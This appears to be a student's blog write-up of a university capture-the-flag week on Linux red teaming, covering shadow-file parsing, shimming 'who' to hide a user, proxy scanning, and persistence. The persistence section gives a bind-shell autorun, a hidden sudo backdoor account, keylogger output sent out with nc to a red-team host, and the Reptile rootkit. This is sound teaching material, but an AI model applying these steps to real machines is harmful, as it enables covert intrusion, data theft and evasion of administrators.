RITSEC Spring 2019 CTF — Week 10
The tenth week of RITSEC’s Spring 2019 CTF has concluded. Although the official challenge write-ups for the semester CTF will be posted on RITSEC’s GitHub for those interested, I have more detailed write-ups here each week for the challenges I am able to solve. I do this because as a freshman, when I read the challenge write-ups they often went step-by-step but never elaborated on why a certain command was run or the strategy the user followed when solving the challenges. This is my effort to elaborate on the reasoning to the process.
Topic — Linux Red Team
This week, participants were given two virtual machines. The first, a minimal CentOS 7 box, served as the main challenge VM for learning how red teams (such as RITSEC’s) operate and prepare blue teamers for some of their antics in the upcoming IRSeC. The second VM was a black box, a virtual machine for which no login information was given, to simulate common experiences of a red team member. Topics covered this week included various persistence and data exfiltration techniques, penetration testing, and malware installation.
Easy 1: We’ve added 100 users to the machine so the blue teamers will never find our one user we set without a password!
Wait, did we fix the permissions on the file where password hashes are stored? I hope so.
While /etc/passwd
stores the list of users and groups, the file /etc/shadow
stores encrypted passwords and hash types. Each line in the file is in a format similar to
root:$6$Ke02nYgo.9v0SF4p$hjztYvo/M4buqO4oBX8KZTftjCn6fE4cV5o/I95QPekeQpITwFTRbDUBYBLIUx2mhorQoj9bLN8v.w6btE9xy1:16431:0:99999:7:::
This example can be broken down into several important sections, each separated by a colon:
root
— This is the username of the account used when logging in.$6$Ke02nYgo.9v0SF4p$hjztYvo/M4buqO4oBX8KZTftjCn6fE4cV5o/I95QPekeQpITwFTRbDUBYBLIUx2mhorQoj9bLN8v.w6btE9xy1
— This is the encrypted password in the format$id$salt$hashed
, whereid
is the type of encryption used,salt
is the random data used at the start of the encryption algorithm to ensure a random hash, andhashed
is the hashed password. This entire field will be blank if no password is used.
Digging a bit deeper into the previous explanation, Linux accounts have the option to use several different types of password encryption, such as:
- $1$ — MD5, Message Digest 5, a cryptographically-weak but still widely used standard
- $2a$ or $2y$ — Blowfish, a symmetric-key block cipher with a small 64-bit block size
- $5$ — SHA-256, the Secure Hash Algorithm with a 256-bit hash value
- $6$ — SHA-512, the Secure Hash Algorithm with 512-bit hash value
Back to the main line…
16431
— The password age, or the number of days since the password was last changed0
— The minimum number of days for which a user has to wait to change their password again99999
— The maximum number of days before which a user must change their password again7
— The number of notification days, or the maximum number of days before the expiration date for which the user will get a notification to change their password<blank>
— The disable count, or the number of days after the password expires that the account will be disabled<blank>
— The number of days since the account has been disabled
Try to view the shadow
file by cat
ing it. Typically, users not in the sudoers
group can’t access this file, but as the hint says, the permissions have been changed.
As the challenge states, this representation is not useful for finding the user without a password assigned. Fortunately, Linux includes many useful tools for parsing text into a readable format (namely grep
, sed
, and awk
). Here,a grep
command is used to find any users with :*:
or ::
in the first series of colons per line in the file, and trim the results to contain only the account names.
cat /etc/shadow | grep '^[^:]*:.\?:' | cut -d: -f1
As can be seen, the only non-service account listed is bob
, so this must be the account added by the “red team”. The /home/bob
directory can’t be accessed by the ritsec
user, but since there is no password on the account there is nothing preventing another user from switching users to bob
by using thesu bob
command.
Next, search in bob
's home directory for the flag.
The flag is RS{n0_p4sswd}
.
Easy 2: Now we have to hide that we’re logged in as that user in Easy 1! Shim the `who` binary so that it removes that user from the list of logged in users.
Sign-off based: Show your solution to the Tech Lead for the flag.
This task can’t be performed in the challenge VM because users cannot rename binary files without sudo
permissions. Perform the task in any Linux OS. [I will be using an Ubuntu 18.10 VM.]
“Shimming” is the process of modifying an existing Linux binary (such as “who”) to hide or misinterpret results, usually for malicious intent. who
is a basic command to list users logged in to the system. For this example, simply rename who
to anything else (who2
in this example) and replace it with a custom bash script named who
.
#!/bin/bashecho -e "$(who2)"
This script calls the original who
program (now called who2
). Next, there needs to be a way to invoke the original who
command without including the logged-in bob
user. One of the many solutions to this is to add a sed
command to strip out any lines with the text bob
in them. This should be sufficient for an Easy challenge.
#!/bin/bashecho -e "$(who2)" | sed '/bob/d'
Now, any user with bob
in their name will appear to not be logged in when a user runs the who
command!
Side note: An easy way to detect if binaries have been replaced with scripts is to run the file </bin/<command>>
command on them. In this example, if a user were to run file /bin/who
, they would see this result:
script: Bourne-Again shell script, ASCII text executable
The result should be similar to:
/bin/who: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=cc28e72b30a2d8d17c881adca1d7962e5f78d907, stripped
Of course, this won’t be as simple for a more complex shimming attack where the original file is replaced with another binary. In such a case, it is best to compare the hashes of the file suspected to be shimmed with the list of file hashes from the OS developer (typically available online).
Medium 1: The black box has port 80 open, why can’t I connect!? I wonder how I can do it.
For this challenge, a second (preferably Kali — or another Linux distro with common penetration testing tools installed) machine is needed. Ensure the virtual black box is connected to the same network as whatever device will be used to scan it (typically a NAT mode). Then start nmap
and scan the subnet to find the IP address of the black box.
nmap -sP <subnet>/24
If there are multiple devices on the subnet more scanning of individual IP addresses (such as OS identification with -o
) may be needed to identify the black box from these other devices. In this case, the black box is running in VMWare attached to a virtual adapter in NAT mode with the challenge VM and a Kali VM.
Run a nmap
SYN scan with version identification to ensure this is the correct host (OS identification can also be run with the -o
flag if desired).
nmap -sV 192.168.48.147
The black box appears to be running Ubuntu and the Squid proxy. This means that most of the traffic coming from the box will go through port 3128
. Try connecting on that port with a web browser.
The server presents an error message. As this is a proxy server, perhaps requests should be proxied through it rather than trying to connect to it directly. Fortunately, this is a very easy process. Using the built-in proxy configuration of Kali (or other OS), set all requests to be proxied through <IP address>:3128
of the black box.
Now return to the previous error page but leave out the port number, as the request will be proxied through Squid and appear to come from it’s internal network.
Access to the main page of the web server has been restricted. Although the flag is likely still available, it’s exact URL is unknown, making opening it far more difficult. To discover the URL, try running a web application vulnerability scanner. This may find that some of Apache’s many logs and default files can be read, which could give clues to the location of the flag. Nikto was run in the example, finding one of the aforementioned files.
nikto -host 192.168.48.147:3128
Try browsing to the indicated webpage.
This result is interesting, but the log of requests seen by scrolling down is much more so.
Any files after the /html/
folder can be accessed via a browser by name, so try accessing the flag with the following URL:
http://192.168.48.147/medium1/
Now just convert the Base64 UlN7ZzAwZF81cXUxZF9iQWRfNXF1aWR9
to text.
echo "UlN7ZzAwZF81cXUxZF9iQWRfNXF1aWR9" | base64 -d
The flag is RS{g00d_5qu1d_bAd_5quid}
.
Hard 1: Install five forms of persistence on a Linux machine!
Sign-off based: Send your screenshots to the Tech Lead. Screenshots must include: an autorun, a reverse shell, a backdoor, a keylogger, and a rootkit.
For this challenge, an Ubuntu 18.10 VM will be used as the infected machine.
Autorun and Reverse Shell: ShellPop
“Generate easy and sophisticated reverse or bind shell commands.”
ShellPop has a variety of configuration options and supported languages, but Bash or Python will be supported the easiest on most Linux systems. This example uses Python. Get the listener code with the following command:
shellpop --payload linux/bind/tcp/python --port 6888 --handler
The generated code can now be made into a script and placed in the init.d
folder, which will run it on startup. Each time the box is restarted, a reverse shell will be opened.
Backdoor: Just a user account
If hidden cleverly enough (such as along with 100 other users!), a user account with sudo
privileges makes a very effective backdoor. Create a discreetly-named user account and add it to the sudo
group. Make sure SSH is installed.
adduser hacked
usermod -aG sudo hacked
Keylogger: logkeys
“A GNU/Linux keylogger that just seems to work”
Install logkeys
from source and start it on the infected machine. This will create a logging file in a location of the user’s choice. Next, netcat
(or nc
, a common tool for transferring files over a network) this logging file to the red team box.
$user@infected-pc: cat 'logkeys_out' | nc <red team ip> <port>$user@red-team-box: nc -l -p 4000 > logkeys
Always be aware of what you are sending and receiving with netstat
!
Rootkit: Reptile
“An LKM rootkit for evil (or study) purposes.”
Loadable kernel module (LKM) rootkits are some of the most difficult and frustrating to detect due to their deep integration with the operating system, but it’s not impossible to do so. Install and build Reptile from source on the infected machine, and run the Reptile client on the red team box. Provide the infected machine’s IP address and run
for a root shell!
Rootkits have the ability to “unlink” their files and processes from linked lists (data structures) before they are provided to the kernel, for commands such as ls
and ps
. This allows them to remain hidden from normal commands.
Wow, who knew red teaming was so easy?! 😉 RS{th3y’re_3v3rywh3r3}
Conclusion
Although it sometimes isn’t realized, red teaming is a very active and important market outside of security competitions. Many companies such as Facebook, Google and even Busch have internal red teams and penetration testers that specifically attack their own infrastructure to find vulnerabilities before malicious actors do. Some, such as IBM, contract this service to other companies as well. One of the most difficult industry certifications, the Offensive Security Certified Professional, is focused on penetration testing.
For more resources, RIT has several classes dedicated to both sides of the game such as CSEC-470 Covert Communications, CSEC-471 Penetration Testing Frameworks and Methodologies, and CSEC-466/476 Introduction to Malware/Malware Reverse Engineering.
There will be 5 more weeks of challenges coming from RITSEC this semester! If you want to know more about RITSEC check out their website or attend a meeting if you’re on RIT’s campus — 12–4 PM in GOL-1400 for the CTF and presentations. Until next week!